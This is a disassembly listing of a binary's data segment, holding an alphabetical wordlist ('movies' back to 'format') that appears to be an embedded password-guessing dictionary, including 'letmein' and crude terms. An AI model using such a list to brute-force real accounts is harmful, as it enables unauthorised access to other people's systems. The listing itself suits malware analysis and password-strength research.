aMovies db 'movies',0 ; DATA XREF: seg002:0042D360o
align 4
aMovie db 'movie',0 ; DATA XREF: seg002:0042D35Co
align 4
aMove db 'move',0 ; DATA XREF: seg002:0042D358o
align 4
aMouse db 'mouse',0 ; DATA XREF: seg002:0042D354o
align 4
aMountain db 'mountain',0 ; DATA XREF: seg002:0042D350o
align 4
aMosaic db 'mosaic',0 ; DATA XREF: seg002:0042D34Co
align 10h
aMortgage db 'mortgage',0 ; DATA XREF: seg002:0042D348o
align 4
aMortalco db 'mortalco',0 ; DATA XREF: seg002:0042D344o
align 4
aMortal db 'mortal',0 ; DATA XREF: seg002:0042D340o
align 10h
aMorris db 'morris',0 ; DATA XREF: seg002:0042D33Co
align 4
aMorley db 'morley',0 ; DATA XREF: seg002:0042D338o
align 10h
aMore db 'more',0 ; DATA XREF: seg002:0042D334o
align 4
aMoose db 'moose',0 ; DATA XREF: seg002:0042D330o
align 10h
aMoor db 'moor',0 ; DATA XREF: seg002:0042D32Co
align 4
aMoom db 'moom',0 ; DATA XREF: seg002:0042D328o
align 10h
aMonica db 'monica',0 ; DATA XREF: seg002:0042D324o
align 4
aMonday db 'monday',0 ; DATA XREF: seg002:0042D320o
align 10h
aMoguls db 'moguls',0 ; DATA XREF: seg002:0042D31Co
align 4
aMogul db 'mogul',0 ; DATA XREF: seg002:0042D318o
align 10h
aModem db 'modem',0 ; DATA XREF: seg002:0042D314o
align 4
aMode db 'mode',0 ; DATA XREF: seg002:0042D310o
align 10h
aMkii db 'mkii',0 ; DATA XREF: seg002:0042D30Co
align 4
aMission db 'mission',0 ; DATA XREF: seg002:0042D308o
aMisfit db 'misfit',0 ; DATA XREF: seg002:0042D304o
align 4
aMinsky db 'minsky',0 ; DATA XREF: seg002:0042D300o
align 10h
aMinimum db 'minimum',0 ; DATA XREF: seg002:0042D2FCo
aMine db 'mine',0 ; DATA XREF: seg002:0042D2F8o
align 10h
aMike db 'mike',0 ; DATA XREF: seg002:0042D2F4o
align 4
aMidieval db 'midieval',0 ; DATA XREF: seg002:0042D2F0o
align 4
aMicrosof db 'microsof',0 ; DATA XREF: seg002:0042D2ECo
align 10h
aMicropro db 'micropro',0 ; DATA XREF: seg002:0042D2E8o
align 4
aMicrochi db 'microchi',0 ; DATA XREF: seg002:0042D2E4o
align 4
aMicro db 'micro',0 ; DATA XREF: seg002:0042D2E0o
align 10h
aMickey db 'mickey',0 ; DATA XREF: seg002:0042D2DCo
align 4
aMichelle db 'michelle',0 ; DATA XREF: seg002:0042D2D8o
align 4
aMichele db 'michele',0 ; DATA XREF: seg002:0042D2D4o
aMichelan db 'michelan',0 ; DATA XREF: seg002:0042D2D0o
align 4
aMichel db 'michel',0 ; DATA XREF: seg002:0042D2CCo
align 10h
aMichael db 'michael',0 ; DATA XREF: seg002:0042D2C8o
aMice db 'mice',0 ; DATA XREF: seg002:0042D2C4o
align 10h
aMets db 'mets',0 ; DATA XREF: seg002:0042D2C0o
align 4
aMetalica db 'metalica',0 ; DATA XREF: seg002:0042D2BCo
align 4
aMetalhea db 'metalhea',0 ; DATA XREF: seg002:0042D2B8o
align 10h
aMetal db 'metal',0 ; DATA XREF: seg002:0042D2B4o
align 4
aMerlin db 'merlin',0 ; DATA XREF: seg002:0042D2B0o
align 10h
aMercury db 'mercury',0 ; DATA XREF: seg002:0042D2ACo
aMenu db 'menu',0 ; DATA XREF: seg002:0042D2A8o
align 10h
aMenace db 'menace',0 ; DATA XREF: seg002:0042D2A4o
align 4
aMemory db 'memory',0 ; DATA XREF: seg002:0042D2A0o
align 10h
aMember db 'member',0 ; DATA XREF: seg002:0042D29Co
align 4
aMelrose db 'melrose',0 ; DATA XREF: seg002:0042D298o
aMellon db 'mellon',0 ; DATA XREF: seg002:0042D294o
align 4
aMelissa db 'melissa',0 ; DATA XREF: seg002:0042D290o
aMegan db 'megan',0 ; DATA XREF: seg002:0042D28Co
align 4
aMegadeth db 'megadeth',0 ; DATA XREF: seg002:0042D288o
align 4
aMegabyte db 'megabyte',0 ; DATA XREF: seg002:0042D284o
align 10h
aMeagan db 'meagan',0 ; DATA XREF: seg002:0042D280o
align 4
aMaurice db 'maurice',0 ; DATA XREF: seg002:0042D27Co
aMath db 'math',0 ; DATA XREF: seg002:0042D278o
align 4
aMaster db 'master',0 ; DATA XREF: seg002:0042D274o
align 10h
aMason db 'mason',0 ; DATA XREF: seg002:0042D270o
align 4
aMary db 'mary',0 ; DATA XREF: seg002:0042D26Co
align 10h
aMarvin db 'marvin',0 ; DATA XREF: seg002:0042D268o
align 4
aMarty db 'marty',0 ; DATA XREF: seg002:0042D264o
align 10h
aMars db 'mars',0 ; DATA XREF: seg002:0042D260o
align 4
aMarriage db 'marriage',0 ; DATA XREF: seg002:0042D25Co
align 4
aMarni db 'marni',0 ; DATA XREF: seg002:0042D258o
align 4
aMarkus db 'markus',0 ; DATA XREF: seg002:0042D254o
align 4
aMark db 'mark',0 ; DATA XREF: seg002:0042D250o
align 4
aMarines db 'marines',0 ; DATA XREF: seg002:0042D24Co
aMarijuan db 'marijuan',0 ; DATA XREF: seg002:0042D248o
align 10h
aMarietta db 'marietta',0 ; DATA XREF: seg002:0042D244o
align 4
aMariens db 'mariens',0 ; DATA XREF: seg002:0042D240o
aMaria db 'maria',0 ; DATA XREF: seg002:0042D23Co
align 4
aMarcy db 'marcy',0 ; DATA XREF: seg002:0042D238o
align 4
aMarci db 'marci',0 ; DATA XREF: seg002:0042D234o
align 4
aMara db 'mara',0 ; DATA XREF: seg002:0042D230o
align 4
aManager db 'manager',0 ; DATA XREF: seg002:0042D22Co
aMana db 'mana',0 ; DATA XREF: seg002:0042D228o
align 4
aMalcom db 'malcom',0 ; DATA XREF: seg002:0042D224o
align 4
aMalcolm db 'malcolm',0 ; DATA XREF: seg002:0042D220o
aMaint db 'maint',0 ; DATA XREF: seg002:0042D21Co
align 4
aMail db 'mail',0 ; DATA XREF: seg002:0042D218o
align 4
aMagnet db 'magnet',0 ; DATA XREF: seg002:0042D214o
align 4
aMagic db 'magic',0 ; DATA XREF: seg002:0042D210o
align 4
aMaggot db 'maggot',0 ; DATA XREF: seg002:0042D20Co
align 4
aMacro db 'macro',0 ; DATA XREF: seg002:0042D208o
align 4
aMack db 'mack',0 ; DATA XREF: seg002:0042D204o
align 4
aMacintos db 'macintos',0 ; DATA XREF: seg002:0042D200o
align 4
aMachine db 'machine',0 ; DATA XREF: seg002:0042D1FCo
aLynne db 'lynne',0 ; DATA XREF: seg002:0042D1F8o
align 4
aLynn db 'lynn',0 ; DATA XREF: seg002:0042D1F4o
align 10h
aLust db 'lust',0 ; DATA XREF: seg002:0042D1F0o
align 4
aLuke db 'luke',0 ; DATA XREF: seg002:0042D1ECo
align 10h
aLude db 'lude',0 ; DATA XREF: seg002:0042D1E8o
align 4
aLucy db 'lucy',0 ; DATA XREF: seg002:0042D1E4o
align 10h
aLucus db 'lucus',0 ; DATA XREF: seg002:0042D1E0o
align 4
aLuck db 'luck',0 ; DATA XREF: seg002:0042D1DCo
align 10h
aLover db 'lover',0 ; DATA XREF: seg002:0042D1D8o
align 4
aLovebug db 'lovebug',0 ; DATA XREF: seg002:0042D1D4o
aLouis db 'louis',0 ; DATA XREF: seg002:0042D1D0o
align 4
aLoser db 'loser',0 ; DATA XREF: seg002:0042D1CCo
align 10h
aLorraine db 'lorraine',0 ; DATA XREF: seg002:0042D1C8o
align 4
aLorin db 'lorin',0 ; DATA XREF: seg002:0042D1C4o
align 4
aLori db 'lori',0 ; DATA XREF: seg002:0042D1C0o
align 4
aLore db 'lore',0 ; DATA XREF: seg002:0042D1BCo
align 4
aLoose db 'loose',0 ; DATA XREF: seg002:0042D1B8o
align 4
aLolopc db 'lolopc',0 ; DATA XREF: seg002:0042D1B4o
align 4
aLois db 'lois',0 ; DATA XREF: seg002:0042D1B0o
align 4
aLogout db 'logout',0 ; DATA XREF: seg002:0042D1ACo
align 4
aLoginwor db 'loginwor',0 ; DATA XREF: seg002:0042D1A8o
align 10h
aLogic db 'logic',0 ; DATA XREF: seg002:0042D1A4o
align 4
aLockword db 'lockword',0 ; DATA XREF: seg002:0042D1A0o
align 4
aLockout db 'lockout',0 ; DATA XREF: seg002:0042D19Co
aLock db 'lock',0 ; DATA XREF: seg002:0042D198o
align 4
aLoad db 'load',0 ; DATA XREF: seg002:0042D194o
align 4
aLive db 'live',0 ; DATA XREF: seg002:0042D190o
align 4
aLiteratu db 'literatu',0 ; DATA XREF: seg002:0042D18Co
align 10h
aLisp db 'lisp',0 ; DATA XREF: seg002:0042D188o
align 4
aLisa db 'lisa',0 ; DATA XREF: seg002:0042D184o
align 10h
aLips db 'lips',0 ; DATA XREF: seg002:0042D180o
align 4
aLion db 'lion',0 ; DATA XREF: seg002:0042D17Co
align 10h
aLink db 'link',0 ; DATA XREF: seg002:0042D178o
align 4
aLinda db 'linda',0 ; DATA XREF: seg002:0042D174o
align 10h
aLimited db 'limited',0 ; DATA XREF: seg002:0042D170o
aLimbaugh db 'limbaugh',0 ; DATA XREF: seg002:0042D16Co
align 4
aLima db 'lima',0 ; DATA XREF: seg002:0042D168o
align 4
aLightsab db 'lightsab',0 ; DATA XREF: seg002:0042D164o
align 4
aLight db 'light',0 ; DATA XREF: seg002:0042D160o
align 10h
aLife db 'life',0 ; DATA XREF: seg002:0042D15Co
align 4
aLicker db 'licker',0 ; DATA XREF: seg002:0042D158o
align 10h
aLick db 'lick',0 ; DATA XREF: seg002:0042D154o
align 4
aLibrary db 'library',0 ; DATA XREF: seg002:0042D150o
aLiberal db 'liberal',0 ; DATA XREF: seg002:0042D14Co
aLexluthe db 'lexluthe',0 ; DATA XREF: seg002:0042D148o
align 4
aLewis db 'lewis',0 ; DATA XREF: seg002:0042D144o
align 4
aLetmein db 'letmein',0 ; DATA XREF: seg002:0042D140o
aLeslie db 'leslie',0 ; DATA XREF: seg002:0042D13Co
align 4
aLesbian db 'lesbian',0 ; DATA XREF: seg002:0042D138o
aLeroy db 'leroy',0 ; DATA XREF: seg002:0042D134o
align 4
aLeland db 'leland',0 ; DATA XREF: seg002:0042D130o
align 4
aLegal db 'legal',0 ; DATA XREF: seg002:0042D12Co
align 4
aLeftwing db 'leftwing',0 ; DATA XREF: seg002:0042D128o
align 4
aLeft db 'left',0 ; DATA XREF: seg002:0042D124o
align 10h
aLebesgue db 'lebesgue',0 ; DATA XREF: seg002:0042D120o
align 4
aLeah db 'leah',0 ; DATA XREF: seg002:0042D11Co
align 4
aLazer db 'lazer',0 ; DATA XREF: seg002:0042D118o
align 4
aLazarus db 'lazarus',0 ; DATA XREF: seg002:0042D114o
aLava db 'lava',0 ; DATA XREF: seg002:0042D110o
align 4
aLaura db 'laura',0 ; DATA XREF: seg002:0042D10Co
align 4
aLaser db 'laser',0 ; DATA XREF: seg002:0042D108o
align 4
aLarry db 'larry',0 ; DATA XREF: seg002:0042D104o
align 4
aLarkin db 'larkin',0 ; DATA XREF: seg002:0042D100o
align 4
aLara db 'lara',0 ; DATA XREF: seg002:0042D0FCo
align 4
aLaptop db 'laptop',0 ; DATA XREF: seg002:0042D0F8o
align 4
aLana db 'lana',0 ; DATA XREF: seg002:0042D0F4o
align 4
aLaminati db 'laminati',0 ; DATA XREF: seg002:0042D0F0o
align 10h
aLambda db 'lambda',0 ; DATA XREF: seg002:0042D0ECo
align 4
aLakers db 'lakers',0 ; DATA XREF: seg002:0042D0E8o
align 10h
aLadle db 'ladle',0 ; DATA XREF: seg002:0042D0E4o
align 4
aLadies db 'ladies',0 ; DATA XREF: seg002:0042D0E0o
align 10h
aKristy db 'kristy',0 ; DATA XREF: seg002:0042D0DCo
align 4
aKristine db 'kristine',0 ; DATA XREF: seg002:0042D0D8o
align 4
aKristin db 'kristin',0 ; DATA XREF: seg002:0042D0D4o
aKristie db 'kristie',0 ; DATA XREF: seg002:0042D0D0o
aKristi db 'kristi',0 ; DATA XREF: seg002:0042D0CCo
align 4
aKristen db 'kristen',0 ; DATA XREF: seg002:0042D0C8o
aKrista db 'krista',0 ; DATA XREF: seg002:0042D0C4o
align 4
aKnown db 'known',0 ; DATA XREF: seg002:0042D0C0o
align 4
aKnightma db 'knightma',0 ; DATA XREF: seg002:0042D0BCo
align 10h
aKnight db 'knight',0 ; DATA XREF: seg002:0042D0B8o
align 4
aKnife db 'knife',0 ; DATA XREF: seg002:0042D0B4o
align 10h
aKlingon db 'klingon',0 ; DATA XREF: seg002:0042D0B0o
aKitten db 'kitten',0 ; DATA XREF: seg002:0042D0ACo
align 10h
aKissmyas db 'kissmyas',0 ; DATA XREF: seg002:0042D0A8o
align 4
aKiss db 'kiss',0 ; DATA XREF: seg002:0042D0A4o
align 4
aKirkland db 'kirkland',0 ; DATA XREF: seg002:0042D0A0o
align 10h
aKirk db 'kirk',0 ; DATA XREF: seg002:0042D09Co
align 4
aKing db 'king',0 ; DATA XREF: seg002:0042D098o
align 10h
aKimberly db 'kimberly',0 ; DATA XREF: seg002:0042D094o
align 4
aKilo db 'kilo',0 ; DATA XREF: seg002:0042D090o
align 4
aKillthem db 'killthem',0 ; DATA XREF: seg002:0042D08Co
align 10h
aKill db 'kill',0 ; DATA XREF: seg002:0042D088o
align 4
aKids db 'kids',0 ; DATA XREF: seg002:0042D084o
align 10h
aKeyword db 'keyword',0 ; DATA XREF: seg002:0042D080o
aKeyin db 'keyin',0 ; DATA XREF: seg002:0042D07Co
align 10h
aKeybord db 'keybord',0 ; DATA XREF: seg002:0042D078o
aKewl db 'kewl',0 ; DATA XREF: seg002:0042D074o
align 10h
aKevin db 'kevin',0 ; DATA XREF: seg002:0042D070o
align 4
aKerry db 'kerry',0 ; DATA XREF: seg002:0042D06Co
align 10h
aKerrie db 'kerrie',0 ; DATA XREF: seg002:0042D068o
align 4
aKerri db 'kerri',0 ; DATA XREF: seg002:0042D064o
align 10h
aKernel db 'kernel',0 ; DATA XREF: seg002:0042D060o
align 4
aKermit db 'kermit',0 ; DATA XREF: seg002:0042D05Co
align 10h
aKeri db 'keri',0 ; DATA XREF: seg002:0042D058o
align 4
aKelly db 'kelly',0 ; DATA XREF: seg002:0042D054o
align 10h
aKatrina db 'katrina',0 ; DATA XREF: seg002:0042D050o
aKatina db 'katina',0 ; DATA XREF: seg002:0042D04Co
align 10h
aKathy db 'kathy',0 ; DATA XREF: seg002:0042D048o
align 4
aKathrine db 'kathrine',0 ; DATA XREF: seg002:0042D044o
align 4
aKathleen db 'kathleen',0 ; DATA XREF: seg002:0042D040o
align 10h
aKate db 'kate',0 ; DATA XREF: seg002:0042D03Co
align 4
aKatana db 'katana',0 ; DATA XREF: seg002:0042D038o
align 10h
aKarina db 'karina',0 ; DATA XREF: seg002:0042D034o
align 4
aKarie db 'karie',0 ; DATA XREF: seg002:0042D030o
align 10h
aKaren db 'karen',0 ; DATA XREF: seg002:0042D02Co
align 4
aKaka db 'kaka',0 ; DATA XREF: seg002:0042D028o
align 10h
aJupiter db 'jupiter',0 ; DATA XREF: seg002:0042D024o
aJune db 'june',0 ; DATA XREF: seg002:0042D020o
align 10h
aJuliet db 'juliet',0 ; DATA XREF: seg002:0042D01Co
align 4
aJulie db 'julie',0 ; DATA XREF: seg002:0042D018o
align 10h
aJulia db 'julia',0 ; DATA XREF: seg002:0042D014o
align 4
aJuicy db 'juicy',0 ; DATA XREF: seg002:0042D010o
align 10h
aJuggle db 'juggle',0 ; DATA XREF: seg002:0042D00Co
align 4
aJudy db 'judy',0 ; DATA XREF: seg002:0042D008o
align 10h
aJudith db 'judith',0 ; DATA XREF: seg002:0042D004o
align 4
aJoyce db 'joyce',0 ; DATA XREF: seg002:0042D000o
align 10h
aJournal db 'journal',0 ; DATA XREF: seg002:0042CFFCo
aJoshua db 'joshua',0 ; DATA XREF: seg002:0042CFF8o
align 10h
aJoseph db 'joseph',0 ; DATA XREF: seg002:0042CFF4o
align 4
aJohnny db 'johnny',0 ; DATA XREF: seg002:0042CFF0o
align 10h
aJohndoe db 'johndoe',0 ; DATA XREF: seg002:0042CFECo
aJohn db 'john',0 ; DATA XREF: seg002:0042CFE8o
align 10h
aJody db 'jody',0 ; DATA XREF: seg002:0042CFE4o
align 4
aJoanne db 'joanne',0 ; DATA XREF: seg002:0042CFE0o
align 10h
aJixian db 'jixian',0 ; DATA XREF: seg002:0042CFDCo
align 4
aJill db 'jill',0 ; DATA XREF: seg002:0042CFD8o
align 10h
aJewelry db 'jewelry',0 ; DATA XREF: seg002:0042CFD4o
aJester db 'jester',0 ; DATA XREF: seg002:0042CFD0o
align 10h
aJessica db 'jessica',0 ; DATA XREF: seg002:0042CFCCo
aJerusale db 'jerusale',0 ; DATA XREF: seg002:0042CFC8o
align 4
aJerry db 'jerry',0 ; DATA XREF: seg002:0042CFC4o
align 4
aJenny db 'jenny',0 ; DATA XREF: seg002:0042CFC0o
align 4
aJennifer db 'jennifer',0 ; DATA XREF: seg002:0042CFBCo
align 10h
aJenni db 'jenni',0 ; DATA XREF: seg002:0042CFB8o
align 4
aJeff db 'jeff',0 ; DATA XREF: seg002:0042CFB4o
align 10h
aJeanne db 'jeanne',0 ; DATA XREF: seg002:0042CFB0o
align 4
aJean db 'jean',0 ; DATA XREF: seg002:0042CFACo
align 10h
aJazz db 'jazz',0 ; DATA XREF: seg002:0042CFA8o
align 4
aJava db 'java',0 ; DATA XREF: seg002:0042CFA4o
align 10h
aJasmin db 'jasmin',0 ; DATA XREF: seg002:0042CFA0o
align 4
aJapan db 'japan',0 ; DATA XREF: seg002:0042CF9Co
align 10h
aJanie db 'janie',0 ; DATA XREF: seg002:0042CF98o
align 4
aJanice db 'janice',0 ; DATA XREF: seg002:0042CF94o
align 10h
aJanet db 'janet',0 ; DATA XREF: seg002:0042CF90o
align 4
aJane db 'jane',0 ; DATA XREF: seg002:0042CF8Co
align 10h
aJail db 'jail',0 ; DATA XREF: seg002:0042CF88o
align 4
aJackie db 'jackie',0 ; DATA XREF: seg002:0042CF84o
align 10h
aIsis db 'isis',0 ; DATA XREF: seg002:0042CF80o
align 4
aIrishman db 'irishman',0 ; DATA XREF: seg002:0042CF7Co
align 4
aIrene db 'irene',0 ; DATA XREF: seg002:0042CF78o
align 4
aInvent db 'invent',0 ; DATA XREF: seg002:0042CF74o
align 4
aInteger db 'integer',0 ; DATA XREF: seg002:0042CF70o
aInside db 'inside',0 ; DATA XREF: seg002:0042CF6Co
align 4
aInput db 'input',0 ; DATA XREF: seg002:0042CF68o
align 4
aInnocuou db 'innocuou',0 ; DATA XREF: seg002:0042CF64o
align 4
aInna db 'inna',0 ; DATA XREF: seg002:0042CF60o
align 10h
aIngrid db 'ingrid',0 ; DATA XREF: seg002:0042CF5Co
align 4
aIngress db 'ingress',0 ; DATA XREF: seg002:0042CF58o
aIngres db 'ingres',0 ; DATA XREF: seg002:0042CF54o
align 4
aIndians db 'indians',0 ; DATA XREF: seg002:0042CF50o
aIndiana db 'indiana',0 ; DATA XREF: seg002:0042CF4Co
aIndian db 'indian',0 ; DATA XREF: seg002:0042CF48o
align 10h
aIndia db 'india',0 ; DATA XREF: seg002:0042CF44o
align 4
aInclude db 'include',0 ; DATA XREF: seg002:0042CF40o
aImperial db 'imperial',0 ; DATA XREF: seg002:0042CF3Co
align 4
aImmortal db 'immortal',0 ; DATA XREF: seg002:0042CF38o
align 4
aImbrogli db 'imbrogli',0 ; DATA XREF: seg002:0042CF34o
align 4
aImage db 'image',0 ; DATA XREF: seg002:0042CF30o
align 4
aIllumina db 'illumina',0 ; DATA XREF: seg002:0042CF2Co
align 4
aIcecream db 'icecream',0 ; DATA XREF: seg002:0042CF28o
align 4
aHypertxt db 'hypertxt',0 ; DATA XREF: seg002:0042CF24o
align 10h
aHyper db 'hyper',0 ; DATA XREF: seg002:0042CF20o
align 4
aHydrogen db 'hydrogen',0 ; DATA XREF: seg002:0042CF1Co
align 4
aHutchins db 'hutchins',0 ; DATA XREF: seg002:0042CF18o
align 10h
aHunter db 'hunter',0 ; DATA XREF: seg002:0042CF14o
align 4
aHunt db 'hunt',0 ; DATA XREF: seg002:0042CF10o
align 10h
aHttp_0 db 'http',0 ; DATA XREF: seg002:0042CF0Co
align 4
aHotel db 'hotel',0 ; DATA XREF: seg002:0042CF08o
align 10h
aHotdog db 'hotdog',0 ; DATA XREF: seg002:0042CF04o
align 4
aHost db 'host',0 ; DATA XREF: seg002:0042CF00o
align 10h
aHorus db 'horus',0 ; DATA XREF: seg002:0042CEFCo
align 4
aHorse db 'horse',0 ; DATA XREF: seg002:0042CEF8o
align 10h
aHorror db 'horror',0 ; DATA XREF: seg002:0042CEF4o
align 4
aHorrible db 'horrible',0 ; DATA XREF: seg002:0042CEF0o
align 4
aHorny db 'horny',0 ; DATA XREF: seg002:0042CEECo
align 4
aHooters db 'hooters',0 ; DATA XREF: seg002:0042CEE8o
aHooker db 'hooker',0 ; DATA XREF: seg002:0042CEE4o
align 4
aHoney db 'honey',0 ; DATA XREF: seg002:0042CEE0o
align 4
aHomework db 'homework',0 ; DATA XREF: seg002:0042CEDCo
align 10h
aHomer db 'homer',0 ; DATA XREF: seg002:0042CED8o
align 4
aHomepage db 'homepage',0 ; DATA XREF: seg002:0042CED4o
align 4
aHollywoo db 'hollywoo',0 ; DATA XREF: seg002:0042CED0o
align 10h
aHolly db 'holly',0 ; DATA XREF: seg002:0042CECCo
align 4
aHole db 'hole',0 ; DATA XREF: seg002:0042CEC8o
align 10h
aHits db 'hits',0 ; DATA XREF: seg002:0042CEC4o
align 4
aHitler db 'hitler',0 ; DATA XREF: seg002:0042CEC0o
align 10h
aHighland db 'highland',0 ; DATA XREF: seg002:0042CEBCo
align 4
aHigh db 'high',0 ; DATA XREF: seg002:0042CEB8o
align 4
aHidden db 'hidden',0 ; DATA XREF: seg002:0042CEB4o
align 4
aHibernia db 'hibernia',0 ; DATA XREF: seg002:0042CEB0o
align 4
aHiawatha db 'hiawatha',0 ; DATA XREF: seg002:0042CEACo
align 4
aHexadeci db 'hexadeci',0 ; DATA XREF: seg002:0042CEA8o
align 10h
aHewlett db 'hewlett',0 ; DATA XREF: seg002:0042CEA4o
aHeroin db 'heroin',0 ; DATA XREF: seg002:0042CEA0o
align 10h
aHero db 'hero',0 ; DATA XREF: seg002:0042CE9Co
align 4
aHerbert db 'herbert',0 ; DATA XREF: seg002:0042CE98o
aHerb db 'herb',0 ; DATA XREF: seg002:0042CE94o
align 4
aHelp db 'help',0 ; DATA XREF: seg002:0042CE90o
align 10h
aHello db 'hello',0 ; DATA XREF: seg002:0042CE8Co
align 4
aHell db 'hell',0 ; DATA XREF: seg002:0042CE88o
align 10h
aHeinlein db 'heinlein',0 ; DATA XREF: seg002:0042CE84o
align 4
aHeidi db 'heidi',0 ; DATA XREF: seg002:0042CE80o
align 4
aHebrides db 'hebrides',0 ; DATA XREF: seg002:0042CE7Co
align 10h
aHeather db 'heather',0 ; DATA XREF: seg002:0042CE78o
aHeathen db 'heathen',0 ; DATA XREF: seg002:0042CE74o
aHeat db 'heat',0 ; DATA XREF: seg002:0042CE70o
align 4
aHeadbang db 'headbang',0 ; DATA XREF: seg002:0042CE6Co
align 4
aHead db 'head',0 ; DATA XREF: seg002:0042CE68o
align 4
aHawaii db 'hawaii',0 ; DATA XREF: seg002:0042CE64o
align 4
aHaven db 'haven',0 ; DATA XREF: seg002:0042CE60o
align 4
aHate db 'hate',0 ; DATA XREF: seg002:0042CE5Co
align 4
aHarvey db 'harvey',0 ; DATA XREF: seg002:0042CE58o
align 4
aHarold db 'harold',0 ; DATA XREF: seg002:0042CE54o
align 4
aHarmony db 'harmony',0 ; DATA XREF: seg002:0042CE50o
aHarddriv db 'harddriv',0 ; DATA XREF: seg002:0042CE4Co
align 4
aHardcore db 'hardcore',0 ; DATA XREF: seg002:0042CE48o
align 4
aHard db 'hard',0 ; DATA XREF: seg002:0042CE44o
align 4
aHappenin db 'happenin',0 ; DATA XREF: seg002:0042CE40o
align 4
aHandjob db 'handjob',0 ; DATA XREF: seg002:0042CE3Co
aHandily db 'handily',0 ; DATA XREF: seg002:0042CE38o
aHandel db 'handel',0 ; DATA XREF: seg002:0042CE34o
align 10h
aHamster db 'hamster',0 ; DATA XREF: seg002:0042CE30o
aHamlet db 'hamlet',0 ; DATA XREF: seg002:0042CE2Co
align 10h
aHallowee db 'hallowee',0 ; DATA XREF: seg002:0042CE28o
align 4
aHair db 'hair',0 ; DATA XREF: seg002:0042CE24o
align 4
aHagar db 'hagar',0 ; DATA XREF: seg002:0042CE20o
align 4
aHacked db 'hacked',0 ; DATA XREF: seg002:0042CE1Co
align 4
aHack db 'hack',0 ; DATA XREF: seg002:0042CE18o
align 4
aGuntis db 'guntis',0 ; DATA XREF: seg002:0042CE14o
align 4
aGumption db 'gumption',0 ; DATA XREF: seg002:0042CE10o
align 10h
aGuitar db 'guitar',0 ; DATA XREF: seg002:0042CE0Co
align 4
aGuess db 'guess',0 ; DATA XREF: seg002:0042CE08o
align 10h
aGucci db 'gucci',0 ; DATA XREF: seg002:0042CE04o
align 4
aGuardian db 'guardian',0 ; DATA XREF: seg002:0042CE00o
align 4
aGryphon db 'gryphon',0 ; DATA XREF: seg002:0042CDFCo
aGroup db 'group',0 ; DATA XREF: seg002:0042CDF8o
align 4
aGreen db 'green',0 ; DATA XREF: seg002:0042CDF4o
align 4
aGreat db 'great',0 ; DATA XREF: seg002:0042CDF0o
align 4
aGrant db 'grant',0 ; DATA XREF: seg002:0042CDECo
align 4
aGrand db 'grand',0 ; DATA XREF: seg002:0042CDE8o
align 4
aGrahm db 'grahm',0 ; DATA XREF: seg002:0042CDE4o
align 4
aGraham db 'graham',0 ; DATA XREF: seg002:0042CDE0o
align 4
aGrades db 'grades',0 ; DATA XREF: seg002:0042CDDCo
align 4
aGovermen db 'govermen',0 ; DATA XREF: seg002:0042CDD8o
align 4
aGouge db 'gouge',0 ; DATA XREF: seg002:0042CDD4o
align 10h
aGosling db 'gosling',0 ; DATA XREF: seg002:0042CDD0o
aGorges db 'gorges',0 ; DATA XREF: seg002:0042CDCCo
align 10h
aGorgeous db 'gorgeous',0 ; DATA XREF: seg002:0042CDC8o
align 4
aGood db 'good',0 ; DATA XREF: seg002:0042CDC4o
align 4
aGolfer db 'golfer',0 ; DATA XREF: seg002:0042CDC0o
align 4
aGolf db 'golf',0 ; DATA XREF: seg002:0042CDBCo
align 4
aGolden db 'golden',0 ; DATA XREF: seg002:0042CDB8o
align 4
aGold db 'gold',0 ; DATA XREF: seg002:0042CDB4o
align 4
aGlacier db 'glacier',0 ; DATA XREF: seg002:0042CDB0o
aGirl db 'girl',0 ; DATA XREF: seg002:0042CDACo
align 4
aGinger db 'ginger',0 ; DATA XREF: seg002:0042CDA8o
align 4
aGina db 'gina',0 ; DATA XREF: seg002:0042CDA4o
align 4
aGigabyte db 'gigabyte',0 ; DATA XREF: seg002:0042CDA0o
align 10h
aGibson db 'gibson',0 ; DATA XREF: seg002:0042CD9Co
align 4
aGhost db 'ghost',0 ; DATA XREF: seg002:0042CD98o
align 10h
aGertrude db 'gertrude',0 ; DATA XREF: seg002:0042CD94o
align 4
aGerm db 'germ',0 ; DATA XREF: seg002:0042CD90o
align 4
aGeorge db 'george',0 ; DATA XREF: seg002:0042CD8Co
align 4
aGauss db 'gauss',0 ; DATA XREF: seg002:0042CD88o
align 4
aGatt db 'gatt',0 ; DATA XREF: seg002:0042CD84o
align 4
aGatherin db 'gatherin',0 ; DATA XREF: seg002:0042CD80o
align 4
aGateway db 'gateway',0 ; DATA XREF: seg002:0042CD7Co
aGarfield db 'garfield',0 ; DATA XREF: seg002:0042CD78o
align 4
aGardner db 'gardner',0 ; DATA XREF: seg002:0042CD74o
aGames db 'games',0 ; DATA XREF: seg002:0042CD70o
align 4
aGabriel db 'gabriel',0 ; DATA XREF: seg002:0042CD6Co
aFungible db 'fungible',0 ; DATA XREF: seg002:0042CD68o
align 10h
aFunction db 'function',0 ; DATA XREF: seg002:0042CD64o
align 4
aFudge db 'fudge',0 ; DATA XREF: seg002:0042CD60o
align 4
aFuckyou db 'fuckyou',0 ; DATA XREF: seg002:0042CD5Co
aFuckme db 'fuckme',0 ; DATA XREF: seg002:0042CD58o
align 4
aFucking db 'fucking',0 ; DATA XREF: seg002:0042CD54o
aFucker db 'fucker',0 ; DATA XREF: seg002:0042CD50o
align 4
aFuck db 'fuck',0 ; DATA XREF: seg002:0042CD4Co
align 4
aFryguy db 'fryguy',0 ; DATA XREF: seg002:0042CD48o
align 4
aFrog db 'frog',0 ; DATA XREF: seg002:0042CD44o
align 4
aFrighten db 'frighten',0 ; DATA XREF: seg002:0042CD40o
align 4
aFriends db 'friends',0 ; DATA XREF: seg002:0042CD3Co
aFriend db 'friend',0 ; DATA XREF: seg002:0042CD38o
align 4
aFriday db 'friday',0 ; DATA XREF: seg002:0042CD34o
align 10h
aFrench db 'french',0 ; DATA XREF: seg002:0042CD30o
align 4
aFreedom db 'freedom',0 ; DATA XREF: seg002:0042CD2Co
aFree db 'free',0 ; DATA XREF: seg002:0042CD28o
align 4
aFred db 'fred',0 ; DATA XREF: seg002:0042CD24o
align 10h
aFreak db 'freak',0 ; DATA XREF: seg002:0042CD20o
align 4
aFrank db 'frank',0 ; DATA XREF: seg002:0042CD1Co
align 10h
aFrance db 'france',0 ; DATA XREF: seg002:0042CD18o
align 4
aFoxtrot db 'foxtrot',0 ; DATA XREF: seg002:0042CD14o
aFourier db 'fourier',0 ; DATA XREF: seg002:0042CD10o
aForsythe db 'forsythe',0 ; DATA XREF: seg002:0042CD0Co
align 4
aFornicat db 'fornicat',0 ; DATA XREF: seg002:0042CD08o
align 10h
aFormat db 'format',0 ; DATA XREF: seg002:0042CD04o
align 4
